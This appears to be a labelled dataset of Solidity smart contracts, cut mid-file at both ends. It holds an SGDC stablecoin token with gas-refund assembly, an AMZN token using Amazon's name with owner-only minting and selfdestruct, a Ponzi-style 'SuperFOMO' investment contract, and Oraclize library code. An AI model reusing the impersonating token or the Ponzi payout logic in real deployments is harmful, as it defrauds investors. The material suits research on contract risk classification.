emit Transfer(_from, address(0), _value);
}
}
contract BurnableTokenWithBounds is ModularBurnableToken {
event SetBurnBounds(uint256 newMin, uint256 newMax);
function _burnAllArgs(address _burner, uint256 _value) internal {
require(_value >= burnMin, "below min burn bound");
require(_value <= burnMax, "exceeds max burn bound");
super._burnAllArgs(_burner, _value);
}
function setBurnBounds(uint256 _min, uint256 _max) external onlyOwner {
require(_min <= _max, "min > max");
burnMin = _min;
burnMax = _max;
emit SetBurnBounds(_min, _max);
}
}
contract GasRefundToken is ProxyStorage {
function sponsorGas2() external {
assembly {
mstore(0, or(0x601b8060093d393df33d33730000000000000000000000000000000000000000, address))
mstore(32, 0x185857ff00000000000000000000000000000000000000000000000000000000)
let offset := sload(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
let location := sub(0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe, offset)
sstore(location, create(0, 0, 0x24))
location := sub(location, 1)
sstore(location, create(0, 0, 0x24))
location := sub(location, 1)
sstore(location, create(0, 0, 0x24))
sstore(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, add(offset, 3))
}
}
function gasRefund39() internal {
assembly {
let offset := sload(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
if gt(offset, 0) {
let location := sub(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,offset)
sstore(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, sub(offset, 1))
let sheep := sload(location)
pop(call(gas, sheep, 0, 0, 0, 0, 0))
sstore(location, 0)
}
}
}
function sponsorGas() external {
uint256 refundPrice = minimumGasPriceForFutureRefunds;
require(refundPrice > 0);
assembly {
let offset := sload(0xfffff)
let result := add(offset, 9)
sstore(0xfffff, result)
let position := add(offset, 0x100000)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
position := add(position, 1)
sstore(position, refundPrice)
}
}
function minimumGasPriceForRefund() public view returns (uint256 result) {
assembly {
let offset := sload(0xfffff)
let location := add(offset, 0xfffff)
result := add(sload(location), 1)
}
}
function gasRefund30() internal {
assembly {
let offset := sload(0xfffff)
if gt(offset, 1) {
let location := add(offset, 0xfffff)
if gt(gasprice,sload(location)) {
sstore(location, 0)
location := sub(location, 1)
sstore(location, 0)
sstore(0xfffff, sub(offset, 2))
}
}
}
}
function gasRefund15() internal {
assembly {
let offset := sload(0xfffff)
if gt(offset, 1) {
let location := add(offset, 0xfffff)
if gt(gasprice,sload(location)) {
sstore(location, 0)
sstore(0xfffff, sub(offset, 1))
}
}
}
}
function remainingGasRefundPool() public view returns (uint length) {
assembly {
length := sload(0xfffff)
}
}
function gasRefundPool(uint256 _index) public view returns (uint256 gasPrice) {
assembly {
gasPrice := sload(add(0x100000, _index))
}
}
bytes32 constant CAN_SET_FUTURE_REFUND_MIN_GAS_PRICE = "canSetFutureRefundMinGasPrice";
function setMinimumGasPriceForFutureRefunds(uint256 _minimumGasPriceForFutureRefunds) public {
require(registry.hasAttribute(msg.sender, CAN_SET_FUTURE_REFUND_MIN_GAS_PRICE));
minimumGasPriceForFutureRefunds = _minimumGasPriceForFutureRefunds;
}
}
contract CompliantDepositTokenWithHook is ReclaimerToken, RegistryClone, BurnableTokenWithBounds, GasRefundToken {
bytes32 constant IS_REGISTERED_CONTRACT = "isRegisteredContract";
bytes32 constant IS_DEPOSIT_ADDRESS = "isDepositAddress";
uint256 constant REDEMPTION_ADDRESS_COUNT = 0x100000;
bytes32 constant IS_BLACKLISTED = "isBlacklisted";
function canBurn() internal pure returns (bytes32);
function transfer(address _to, uint256 _value) public returns (bool) {
_transferAllArgs(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_transferFromAllArgs(_from, _to, _value, msg.sender);
return true;
}
function _burnFromAllowanceAllArgs(address _from, address _to, uint256 _value, address _spender) internal {
_requireCanTransferFrom(_spender, _from, _to);
_requireOnlyCanBurn(_to);
require(_value >= burnMin, "below min burn bound");
require(_value <= burnMax, "exceeds max burn bound");
if (0 == _subBalance(_from, _value)) {
if (0 == _subAllowance(_from, _spender, _value)) {
} else {
gasRefund15();
}
} else {
if (0 == _subAllowance(_from, _spender, _value)) {
gasRefund15();
} else {
gasRefund39();
}
}
emit Transfer(_from, _to, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_to, _value);
emit Transfer(_to, address(0), _value);
}
function _burnFromAllArgs(address _from, address _to, uint256 _value) internal {
_requireCanTransfer(_from, _to);
_requireOnlyCanBurn(_to);
require(_value >= burnMin, "below min burn bound");
require(_value <= burnMax, "exceeds max burn bound");
if (0 == _subBalance(_from, _value)) {
gasRefund15();
} else {
gasRefund30();
}
emit Transfer(_from, _to, _value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_to, _value);
emit Transfer(_to, address(0), _value);
}
function _transferFromAllArgs(address _from, address _to, uint256 _value, address _spender) internal {
if (uint256(_to) < REDEMPTION_ADDRESS_COUNT) {
_value -= _value % CENT;
_burnFromAllowanceAllArgs(_from, _to, _value, _spender);
} else {
bool hasHook;
address originalTo = _to;
(_to, hasHook) = _requireCanTransferFrom(_spender, _from, _to);
if (0 == _addBalance(_to, _value)) {
if (0 == _subAllowance(_from, _spender, _value)) {
if (0 == _subBalance(_from, _value)) {
} else {
gasRefund30();
}
} else {
if (0 == _subBalance(_from, _value)) {
gasRefund30();
} else {
gasRefund39();
}
}
} else {
if (0 == _subAllowance(_from, _spender, _value)) {
if (0 == _subBalance(_from, _value)) {
} else {
gasRefund15();
}
} else {
if (0 == _subBalance(_from, _value)) {
gasRefund15();
} else {
gasRefund39();
}
}
}
emit Transfer(_from, originalTo, _value);
if (originalTo != _to) {
emit Transfer(originalTo, _to, _value);
if (hasHook) {
SGDCTokenReceiver(_to).tokenFallback(originalTo, _value);
}
} else {
if (hasHook) {
SGDCTokenReceiver(_to).tokenFallback(_from, _value);
}
}
}
}
function _transferAllArgs(address _from, address _to, uint256 _value) internal {
if (uint256(_to) < REDEMPTION_ADDRESS_COUNT) {
_value -= _value % CENT;
_burnFromAllArgs(_from, _to, _value);
} else {
bool hasHook;
address finalTo;
(finalTo, hasHook) = _requireCanTransfer(_from, _to);
if (0 == _subBalance(_from, _value)) {
if (0 == _addBalance(finalTo, _value)) {
gasRefund30();
} else {
}
} else {
if (0 == _addBalance(finalTo, _value)) {
gasRefund39();
} else {
gasRefund30();
}
}
emit Transfer(_from, _to, _value);
if (finalTo != _to) {
emit Transfer(_to, finalTo, _value);
if (hasHook) {
SGDCTokenReceiver(finalTo).tokenFallback(_to, _value);
}
} else {
if (hasHook) {
SGDCTokenReceiver(finalTo).tokenFallback(_from, _value);
}
}
}
}
function mint(address _to, uint256 _value) public onlyOwner {
require(_to != address(0), "to address cannot be zero");
bool hasHook;
address originalTo = _to;
(_to, hasHook) = _requireCanMint(_to);
totalSupply_ = totalSupply_.add(_value);
emit Mint(originalTo, _value);
emit Transfer(address(0), originalTo, _value);
if (_to != originalTo) {
emit Transfer(originalTo, _to, _value);
}
_addBalance(_to, _value);
if (hasHook) {
if (_to != originalTo) {
SGDCTokenReceiver(_to).tokenFallback(originalTo, _value);
} else {
SGDCTokenReceiver(_to).tokenFallback(address(0), _value);
}
}
}
event WipeBlacklistedAccount(address indexed account, uint256 balance);
event SetRegistry(address indexed registry);
function setRegistry(Registry _registry) public onlyOwner {
registry = _registry;
emit SetRegistry(registry);
}
modifier onlyRegistry {
require(msg.sender == address(registry));
_;
}
function syncAttributeValue(address _who, bytes32 _attribute, uint256 _value) public onlyRegistry {
attributes[_attribute][_who] = _value;
}
function _burnAllArgs(address _from, uint256 _value) internal {
_requireCanBurn(_from);
super._burnAllArgs(_from, _value);
}
function wipeBlacklistedAccount(address _account) public onlyOwner {
require(_isBlacklisted(_account), "_account is not blacklisted");
uint256 oldValue = _getBalance(_account);
_setBalance(_account, 0);
totalSupply_ = totalSupply_.sub(oldValue);
emit WipeBlacklistedAccount(_account, oldValue);
emit Transfer(_account, address(0), oldValue);
}
function _isBlacklisted(address _account) internal view returns (bool blacklisted) {
return attributes[IS_BLACKLISTED][_account] != 0;
}
function _requireCanTransfer(address _from, address _to) internal view returns (address, bool) {
uint256 depositAddressValue = attributes[IS_DEPOSIT_ADDRESS][address(uint256(_to) >> 20)];
if (depositAddressValue != 0) {
_to = address(depositAddressValue);
}
require (attributes[IS_BLACKLISTED][_to] == 0, "blacklisted");
require (attributes[IS_BLACKLISTED][_from] == 0, "blacklisted");
return (_to, attributes[IS_REGISTERED_CONTRACT][_to] != 0);
}
function _requireCanTransferFrom(address _spender, address _from, address _to) internal view returns (address, bool) {
require (attributes[IS_BLACKLISTED][_spender] == 0, "blacklisted");
uint256 depositAddressValue = attributes[IS_DEPOSIT_ADDRESS][address(uint256(_to) >> 20)];
if (depositAddressValue != 0) {
_to = address(depositAddressValue);
}
require (attributes[IS_BLACKLISTED][_to] == 0, "blacklisted");
require (attributes[IS_BLACKLISTED][_from] == 0, "blacklisted");
return (_to, attributes[IS_REGISTERED_CONTRACT][_to] != 0);
}
function _requireCanMint(address _to) internal view returns (address, bool) {
uint256 depositAddressValue = attributes[IS_DEPOSIT_ADDRESS][address(uint256(_to) >> 20)];
if (depositAddressValue != 0) {
_to = address(depositAddressValue);
}
require (attributes[IS_BLACKLISTED][_to] == 0, "blacklisted");
return (_to, attributes[IS_REGISTERED_CONTRACT][_to] != 0);
}
function _requireOnlyCanBurn(address _from) internal view {
require (attributes[canBurn()][_from] != 0, "cannot burn from this address");
}
function _requireCanBurn(address _from) internal view {
require (attributes[IS_BLACKLISTED][_from] == 0, "blacklisted");
require (attributes[canBurn()][_from] != 0, "cannot burn from this address");
}
function paused() public pure returns (bool) {
return false;
}
}
contract DelegateERC20 is CompliantDepositTokenWithHook {
address constant DELEGATE_FROM = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
modifier onlyDelegateFrom() {
require(msg.sender == DELEGATE_FROM);
_;
}
function delegateTotalSupply() public view returns (uint256) {
return totalSupply();
}
function delegateBalanceOf(address who) public view returns (uint256) {
return _getBalance(who);
}
function delegateTransfer(address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferAllArgs(origSender, to, value);
return true;
}
function delegateAllowance(address owner, address spender) public view returns (uint256) {
return _getAllowance(owner, spender);
}
function delegateTransferFrom(address from, address to, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_transferFromAllArgs(from, to, value, origSender);
return true;
}
function delegateApprove(address spender, uint256 value, address origSender) public onlyDelegateFrom returns (bool) {
_approveAllArgs(spender, value, origSender);
return true;
}
function delegateIncreaseApproval(address spender, uint addedValue, address origSender) public onlyDelegateFrom returns (bool) {
_increaseApprovalAllArgs(spender, addedValue, origSender);
return true;
}
function delegateDecreaseApproval(address spender, uint subtractedValue, address origSender) public onlyDelegateFrom returns (bool) {
_decreaseApprovalAllArgs(spender, subtractedValue, origSender);
return true;
}
}
contract SGDC is CompliantDepositTokenWithHook {
uint8 constant DECIMALS = 18;
uint8 constant ROUNDING = 2;
constructor(address initialAccount, uint256 initialBalance) public {
_setBalance(initialAccount, initialBalance * (10 ** uint256(DECIMALS)));
totalSupply_ = initialBalance * (10 ** uint256(DECIMALS));
emit Transfer(address(0x0), initialAccount, totalSupply_);
initialize();
}
function initialize() public {
require(!initialized, "already initialized");
initialized = true;
owner = msg.sender;
burnMin = 10000 * 10**uint256(DECIMALS);
burnMax = 20000000 * 10**uint256(DECIMALS);
}
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function rounding() public pure returns (uint8) {
return ROUNDING;
}
function name() public pure returns (string) {
return "SGDC";
}
function symbol() public pure returns (string) {
return "SGDC";
}
function canBurn() internal pure returns (bytes32) {
return "canBurn";
}
} | 1 | 3,668 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0xD8df475E76844ea9F3bbb56D72EE5fD8F137787F;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Token is ERC20Interface, Owned {
using SafeMath for uint;
string public name = "amazonblockchaintokens";
string public symbol = "AMZN";
uint8 public decimals = 10;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "amazonblockchaintokens";
symbol = "AMZN";
decimals = 10;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function totalSupplyWithZeroAddress() public view returns (uint) {
return _totalSupply;
}
function totalSupplyWithoutDecimals() public view returns (uint) {
return _totalSupply / (10**uint(decimals));
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function myBalance() public view returns (uint balance) {
return balances[msg.sender];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function reconfig(string newName, string newSymbol) external onlyOwner {
symbol = newSymbol;
name = newName;
}
function increaseSupply(uint256 increase) external onlyOwner {
_totalSupply = _totalSupply.add(increase);
balances[owner] = balances[owner].add(increase);
emit Transfer(address(0), owner, increase);
}
function burnTokens(uint256 decrease) external onlyOwner {
balances[owner] = balances[owner].sub(decrease);
_totalSupply = _totalSupply.sub(decrease);
}
function deactivate() external onlyOwner {
selfdestruct(owner);
}
} | 1 | 4,006 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Storage {
address private owner;
mapping (address => Investor) investors;
struct Investor {
uint index;
mapping (uint => uint) deposit;
mapping (uint => uint) interest;
mapping (uint => uint) withdrawals;
mapping (uint => uint) start;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value, uint _interest) external onlyOwner {
investors[_address].deposit[investors[_address].index] += _value;
investors[_address].start[investors[_address].index] = block.timestamp;
investors[_address].interest[investors[_address].index] = _interest;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function updateWithdrawals(address _address, uint _index, uint _withdrawal) external onlyOwner {
investors[_address].withdrawals[_index] += _withdrawal;
}
function updateIndex(address _address) external onlyOwner {
investors[_address].index += 1;
}
function ind(address _address) external view returns(uint) {
return investors[_address].index;
}
function d(address _address, uint _index) external view returns(uint) {
return investors[_address].deposit[_index];
}
function i(address _address, uint _index) external view returns(uint) {
return investors[_address].interest[_index];
}
function w(address _address, uint _index) external view returns(uint) {
return investors[_address].withdrawals[_index];
}
function s(address _address, uint _index) external view returns(uint) {
return investors[_address].start[_index];
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
}
contract SuperFOMO {
using SafeMath for uint;
address public owner;
address advertising;
address techsupport;
uint waveStartUp;
uint jackPot;
uint lastLeader;
address[] top;
Storage x;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, address _secondAddr, address _thirdAddr, address _fourthAddr, address _fifthAddr);
event LogNewWave(uint _waveStartUp);
event LogNewLeader(address _leader);
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
modifier notFromContract() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address _advertising, address _techsupport) public {
owner = msg.sender;
advertising = _advertising;
techsupport = _techsupport;
waveStartUp = block.timestamp;
x = new Storage();
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getDividends(_referrer) > 0) {
_referrer.transfer(msg.value / 20);
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
return(msg.value / 50);
} else {
advertising.transfer(msg.value / 20);
return(0);
}
}
function getInterest() public view returns(uint) {
uint multiplier = (block.timestamp.sub(waveStartUp)) / 6 days;
if (multiplier == 0) {
return 25;
}
if (multiplier <= 8){
return(15 + (multiplier * 10));
} else {
return 100;
}
}
function toTheTop() internal {
top.push(msg.sender);
lastLeader = block.timestamp;
emit LogNewLeader(msg.sender);
}
function payDay() internal {
top[top.length - 1].transfer(jackPot * 3 / 5);
top[top.length - 2].transfer(jackPot / 10);
top[top.length - 3].transfer(jackPot / 10);
top[top.length - 4].transfer(jackPot / 10);
top[top.length - 5].transfer(jackPot / 10);
jackPot = 0;
lastLeader = block.timestamp;
emit LogGift(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable notOnPause notFromContract {
require(msg.value >= 0.05 ether);
jackPot += msg.value * 3 / 100;
if (x.d(msg.sender, 0) > 0) {
x.updateIndex(msg.sender);
} else {
x.updateCheckpoint(msg.sender);
}
if (msg.data.length == 20) {
uint addend = setRef();
} else {
advertising.transfer(msg.value / 20);
}
x.updateInfo(msg.sender, msg.value + addend, getInterest());
if (msg.value >= 1 ether) {
toTheTop();
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(msg.sender) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(msg.sender); i++) {
if (x.w(msg.sender, i) < x.d(msg.sender, i) * 2) {
if (x.s(msg.sender, i) <= x.c(msg.sender)) {
uint dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.c(msg.sender).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
if (x.s(msg.sender, i) + 2 days >= block.timestamp) {
dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
dividends = (x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i))).div(1 days);
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
}
}
}
}
if (_payout > 0) {
if (_payout > address(this).balance && address(this).balance <= 0.1 ether) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
advertising.transfer(_payout * 3 / 25);
techsupport.transfer(_payout * 3 / 100);
msg.sender.transfer(_payout * 17 / 20);
emit LogPayment(msg.sender, _payout * 17 / 20);
}
if (block.timestamp >= lastLeader + 1 days && top.length >= 5) {
payDay();
}
}
function nextWave() private {
top.length = 0;
x = new Storage();
waveStartUp = block.timestamp + 10 days;
emit LogNewWave(waveStartUp);
}
function getDeposits(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
Invested = _sum;
}
function getDepositN(address _address, uint _number) public view returns(uint Deposit_N) {
if (x.w(_address, _number - 1) < x.d(_address, _number - 1) * 2) {
Deposit_N = x.d(_address, _number - 1);
} else {
Deposit_N = 0;
}
}
function getDividends(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(_address) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
if (x.s(_address, i) <= x.c(_address)) {
uint dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.c(_address).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
if (x.s(_address, i) + 2 days >= block.timestamp) {
dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.s(_address, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
dividends = (x.d(_address, i).mul(x.i(_address, i)).div(1000)).mul(block.timestamp.sub(x.s(_address, i))).div(1 days);
_payout = _payout.add(dividends);
}
}
}
}
Dividends = _payout * 17 / 20;
}
function getWithdrawals(address _address) external view returns(uint) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
_sum += x.w(_address, i);
}
return(_sum);
}
function getTop() external view returns(address, address, address, address, address) {
return(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function getJackPot() external view returns(uint) {
return(jackPot);
}
function getNextPayDay() external view returns(uint) {
return(lastLeader + 1 days);
}
} | 0 | 737 |
pragma solidity ^0.4.25;
pragma solidity >=0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
